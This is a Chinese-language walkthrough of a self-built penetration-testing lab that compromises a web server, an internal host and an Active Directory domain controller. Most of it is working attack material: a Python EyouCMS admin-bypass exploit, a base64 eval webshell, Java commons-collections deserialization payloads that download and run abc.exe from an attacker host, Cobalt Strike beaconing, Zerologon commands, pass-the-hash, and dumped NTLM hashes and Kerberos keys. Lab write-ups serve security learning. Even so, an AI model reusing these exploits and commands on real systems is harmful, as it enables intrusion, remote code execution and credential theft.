开新篇章,跳过搭建,简单介绍一下
webIP:192.168.0.102
WEB部分
先上goby扫一扫

16个端口,1个smb,1个mysql,还有3个http,但是2个Not Found



PHP写的,扫个目录看看

好像是thinkphp5框架

扫到个后台
/login.php

finger和ehole都找不到是什么指纹,按理说靶场一半web都是cms
hash了一下图标,上fofa找了个同图标的web,应该是eyoucms


找找对应的历史漏洞(虽然我也不知道是什么版本)

找到个版本查看的方式,无脑拼接了一下。。还真给我找到1.5.1版本

找到一篇文章,复现一下漏洞:https://blog.csdn.net/m0_69801663/article/details/135298635
用文章提供的代码跑一遍
# -*- coding:utf-8 -*-
from time import time
import requests
import re
# 定义 header 头, 绕过 isAjax
header = {'x-requested-with': 'xmlhttprequest'}
# 定义一个 requests 会话
request = requests.session()
PHPSESSION = ""
# 绕过第一个判断
def get_session(url):
global PHPSESSION
# 设置 admin_id 并且,获取 PHPSESSION
payload = '/index.php'
result = request.get(url=url + payload, headers=header)
# 获取PHPSESSION
print("[+] PHPSESSION = " + re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0])
PHPSESSION = re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0]
def set_admin_id(url):
# 设置一个 admin_id 以绕过,第一个条件
payload = '/index.php?m=api&c=ajax&a=get_token&name=admin_id'
result = request.get(url=url + payload, headers=header).text
print(f"[+] 正在设置 admin_id -> [{result}]")
def set_admin_login_expire(url):
payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire"
while True:
result = request.get(url=url + payload, headers=header).text
# 第二个判断条件,判断登录是否在一小时里
if (time() - int(change(result), 10) < 3600):
print("[+] admin_login_expire = " + result)
break
print(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")
def set_admin_info_role_id(url):
payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id"
while True:
result = request.get(url=url + payload, headers=header).text
# 第三个判断条件,判断是否是管理员权限
if (int(change(result), 10) <= 0):
print("[+] admin_login_expire = " + result)
break
print(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")
def check_login(url):
payload = "login.php?m=admin&c=System&a=web&lang=cn"
result = request.get(url=url + payload).text
if "网站LOGO" in result:
print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录成功!")
else:
print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录失败!")
# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def change(string):
temp = ''
for n, s in enumerate(string):
if n == 0:
if s.isalpha():
return '0'
break
if s.isdigit():
temp += str(s)
else:
if s.isalpha():
break
return temp
def run(url):
# 开始计时
time_start = time()
get_session(url)
set_admin_id(url)
set_admin_login_expire(url)
set_admin_info_role_id(url)
check_login(url)
print(f"[+] PHPSESSION = {PHPSESSION}")
# 结束计时
time_end = time()
print(f"[+] 总共用时 {int(time_end) - int(time_start)} s")
if __name__ == '__main__':
url = ""
run(url)

去网站的后台看看,替换PHPSESSID

成功进入后台,这里需要注意,每一个PHPSESSID都要设置为跑出来的值(有很多个包),否则会被弹出去

点击更多功能,点击模板管理,找到pc/index.htm

写一个一句话木马:
<?=file_put_contents("./uploads/allimg/ying.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ3lpbmcnXSkgPz4="));
连接密码为ying

访问一次index.php后,再用蚁剑连接/uploads/allimg/ying.php

甚至不用提权,直接上CS马

CS上线

DATA部分
先做个信息收集
看看IP

抓个hash

创个代理转发和sock代理

上个fscan开扫,146开放了135,445,139,9999并且计算机名为data,还有一个网段为10.10.10.136,在域vsmoon.com中

有个9999端口,但是不知道是什么协议,按照靶场的思维来说,这个9999应该就是突破口,但是不知道是什么东西,翻翻web服务器看看
翻了翻桌面,有个txt和jar

jar好像是个客户端,多半是突破口了,但是我不会逆向。。坏了

尝试连上去看看先,下jar到本地,然后连上代理
(搭靶场的时候,有改过网段,现在连不上了,但是可以肯定的是9999端口是开放给这个软件的)

用Jadx-gui逆一下这个包https://github.com/skylot/jadx/releases/tag/v1.5.0

这个好像看着不难,我代码审计一下(java功底真的一般,我上GPT辅助了)

好像是存在反序列化漏洞的,但是要写对应的代码,还得有反序列化利用链(需要有经验积累)(代码我还能靠一靠GPT,反序列化利用链我是真没基础了,去看了一下复现教程,这里是用的cc1【commons-collections】,并且提示了转换类型出错会导致异常退出,谨慎操作)

我用GPT写了个测试的代码,先尝试验证一下:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class LocalExploitTest {
public static void main(String[] args) {
try {
// 第一步:创建命令执行的Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}) // Windows环境下执行计算器程序
};
// 第二步:使用ChainedTransformer来链接这些Transformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 第三步:使用Map进行包装,触发反序列化时的命令执行
Map innerMap = new HashMap();
innerMap.put("value", "test");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 使用反射创建AnnotationInvocationHandler,来利用代理执行
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(java.lang.Override.class, outerMap);
// 第四步:序列化该恶意对象到文件
FileOutputStream fileOut = new FileOutputStream("exploit_payload.bin");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(instance);
out.close();
fileOut.close();
System.out.println("恶意对象已序列化到 exploit_payload.bin 文件");
// 第五步:反序列化恶意对象并执行命令
FileInputStream fileIn = new FileInputStream("exploit_payload.bin");
ObjectInputStream in = new ObjectInputStream(fileIn);
in.readObject(); // 在反序列化时,命令将被执行
in.close();
fileIn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行的时候没有触发

看来是版本问题,需要改一下(存疑)
还是没法触发,我拿暗月提供的代码进行了比较,我用的是TransformedMap,暗月用的是LazyMap
和TiedMapEntry
的结合。这一段话写给未来代码审计的我。
TransformedMap是将某些操作(如 get()
、put()
)转换为命令执行,在反序列化时,不会执行命令,只有在对 TransformedMap
进行操作时(例如调用 get()
方法)才会触发命令执行,也就是手动触发才能执行命令。
LazyMap
和TiedMapEntry
的结合,这种结构在 HashMap
内部会调用 TiedMapEntry
的 hashCode()
或 equals()
方法,这些方法在反序列化过程中会自动被调用,无需手动调用 get()
或其他方法,会自动执行命令。
原理:Java 的 HashMap
在存储和比较键值对时会调用 hashCode()
,而 TiedMapEntry
会将该调用传递给 LazyMap
,从而触发 LazyMap
的 factory
,进而执行 Transformer 链。
package nightying.com;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
try {
// 第一步:创建命令执行的Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}) // Windows环境下执行计算器程序
};
// 第二步:使用ChainedTransformer来链接这些Transformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 第三步:使用LazyMap进行包装
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "value");
lazyMap.remove("key");
// 修改LazyMap的factory字段,替换为Transformer链
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, transformerChain);
// 直接在内存中序列化和反序列化对象
ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
ObjectOutputStream objectOut = new ObjectOutputStream(byteOut);
objectOut.writeObject(hashMap);
objectOut.close();
// 第四步:反序列化对象并自动触发执行
ByteArrayInputStream byteIn = new ByteArrayInputStream(byteOut.toByteArray());
ObjectInputStream objectIn = new ObjectInputStream(byteIn);
objectIn.readObject(); // 在反序列化时,命令将被执行
objectIn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
我用GPT写了一个下载的代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) {
try {
// 第一步:创建命令执行的Transformer链
String url = "http://192.168.24.152:12312/abc.exe"; // 替换为你需要下载的URL
String savePath = "C:\\Users\\Public\\Downloads\\abc.exe"; // 保存路径
// 使用PowerShell下载文件的命令
String command = "powershell.exe -Command \"Invoke-WebRequest '" + url + "' -OutFile '" + savePath + "'\"";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{command}) // 执行下载命令
};
// 第二步:使用ChainedTransformer来链接这些Transformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 第三步:构建LazyMap和TiedMapEntry结构
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value");
// 移除lazyMap中的原始键值
lazyMap.remove("key");
// 通过反射修改LazyMap的factory字段,替换为Transformer链
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, transformerChain);
// 第四步:通过Socket连接到目标服务器,发送恶意payload
Socket socket = new Socket("192.168.24.146", 9999); // 请替换为实际目标IP和端口
OutputStream outputStream = socket.getOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashMap); // 发送包含恶意payload的HashMap
objectOutputStream.close();
outputStream.close();
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行abc.exe
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) {
try {
// 第一步:构建Transformer链,用于执行下载的文件
String execCommand = "C:\\Users\\Public\\Downloads\\abc.exe"; // 替换为已下载的文件路径
// Transformer链:执行下载的文件
Transformer[] execTransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{execCommand}) // 执行下载的文件
};
// 第二步:使用ChainedTransformer来链接Transformer链
Transformer transformerChain = new ChainedTransformer(execTransformers);
// 第三步:构建LazyMap和TiedMapEntry结构
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value");
// 移除lazyMap中的原始键值
lazyMap.remove("key");
// 通过反射修改LazyMap的factory字段,替换为Transformer链
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, transformerChain);
// 第四步:通过Socket连接到目标服务器,发送恶意payload
Socket socket = new Socket("192.168.24.146", 9999); // 请替换为实际目标IP和端口
OutputStream outputStream = socket.getOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashMap); // 发送包含恶意payload的HashMap
objectOutputStream.close();
outputStream.close();
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
先生成个马子,然后尝试利用,把两个打包成jar,然后在web机上传上去gohttp,和abc.exe,挂上代理,按照顺序执行jar

上线成功,权限还是system

域控
先看看有没有防火墙啥的
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
防火墙都是关的

然后进行一波域信息收集,搂个hash看看,域叫vsmoon.com
Username:
DATA$
NTLM:
3649b51842b196c4980aa9b94ea1d421
DNS服务器是10.10.10.137


上个Fscan开扫,开了88,445,139,135,域控AD

总感觉,能故技重施一下,我直接上CVE-2020-1472先探一手,挂上代理,开测
python zerologon_tester.py AD 10.10.10.137

好好好,还真有,老样子
置空,抓hash,来一套
python set_empty_pw.py AD 10.10.10.137
我还以为跑不出来了,跑了好久

抓hash
secretsdump.exe vsmoon/[email protected] -no-pass

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9307d2f925e8c9025ff452c0f6681313:::
vsmoon.com\data:1104:aad3b435b51404eeaad3b435b51404ee:3e9b45207bedfe4877c5567673e19d01:::
AD$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DATA$:1105:aad3b435b51404eeaad3b435b51404ee:3649b51842b196c4980aa9b94ea1d421:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:134e1843ce6aa68b586b93f6b33b67adf26ae3dc9cab78be617eaf538bbbfcd0
krbtgt:aes128-cts-hmac-sha1-96:b1284e87a3414a984d5295801f10ddc1
krbtgt:des-cbc-md5:133723fdc7970d4a
vsmoon.com\data:aes256-cts-hmac-sha1-96:8dbb79f54eb6160e00f424386eed8650b19a76f7a870732cd21df63cd5139e99
vsmoon.com\data:aes128-cts-hmac-sha1-96:eb597a5e13b47685916dc3406e8028ce
vsmoon.com\data:des-cbc-md5:6e2f6e6da2e96bf4
AD$:aes256-cts-hmac-sha1-96:a7c23d712488d3c211bf50cc4cff225bc0781a86ba5d46d43fd18bedca68f2d6
AD$:aes128-cts-hmac-sha1-96:1d3cbd31aba22311b1f5fb61eeca2e0e
AD$:des-cbc-md5:26d9235845d07643
DATA$:aes256-cts-hmac-sha1-96:7d71a5d6aa75fed095ecd2b9e5ad417e95b7649cb2af9a6d9b1133ec0b87fcca
DATA$:aes128-cts-hmac-sha1-96:b78e676f3c83f5c72673b78628f8eed2
DATA$:des-cbc-md5:5bf72c15f8389491
wmiexec连上去
python wmiexec-pro.py -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d vsmoon/[email protected] exec-command -command "whoami"

然后关掉防火墙
python wmiexec-pro.py -hashes aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d vsmoon/[email protected] exec-command -command "netsh advfirewall set allprofiles state off"

PTH连上去
pth vsmoon\Administrator 66120f7b66195b694faeabc4e3b6752d

正向传马

在PTH连接后的马子中传入后门:
jump psexec64 10.10.10.137 ZX
上线成功

老样子,收尾工作
shell reg save HKLM\SYSTEM c:\Users\Administrator\system.save
shell reg save HKLM\SAM c:\Users\Administrator\sam.save
shell reg save HKLM\SECURITY c:\Users\Administrator\security.save
下载下来
本地抓一次
secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL

[*] Target system bootKey: 0xb34b17556cade716de1f36076e43efdb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:a711c97a7551203389aaed828a12d896:::
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1107cbbbb24ece79735df966cf75525d
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
0000 01 00 00 00 F7 62 02 24 A6 6B 0B 07 CC 3E 0B 45 .....b.$.k...>.E
0010 26 3C 52 AA 64 3A 0C FE 4F D6 A5 52 1F D0 1D 1B &<R.d:..O..R....
0020 B0 47 84 3E D1 41 84 0A B2 60 31 80 .G.>.A...`1.
DPAPI_SYSTEM:01000000f7620224a66b0b07cc3e0b45263c52aa643a0cfe4fd6a5521fd01d1bb047843ed141840ab2603180
[*] NL$KM
0000 A3 1B 0C 50 A7 32 09 2A 43 02 DD DA 2B 89 B4 FD ...P.2.*C...+...
0010 AA 4C BD 16 91 F8 C7 D5 A1 F1 26 F3 6A CD A4 00 .L........&.j...
0020 0E 06 AC FF 45 88 79 C6 EF B6 1C 87 9F A5 C0 C0 ....E.y.........
0030 72 C0 D7 32 48 A1 A7 10 F0 40 50 9F A3 92 BE 34 [email protected]
NL$KM:a31b0c50a732092a4302ddda2b89b4fdaa4cbd1691f8c7d5a1f126f36acda4000e06acff458879c6efb61c879fa5c0c072c0d73248a1a710f040509fa392be34
[*] Cleaning up...
NTLM:1107cbbbb24ece79735df966cf75525d
挂上代理,还原hash
python reinstall_original_pw.py ad 10.10.10.137 1107cbbbb24ece79735df966cf75525d

验证一遍
secretsdump.exe vsmoon/[email protected] -no-pass

结束!
小总结
这个靶场稍微学了一些代码审计,熟悉了一下域横向,目前感觉,靶场拿域控基本上都是2020-1472,不知道下一个靶场会不会有改变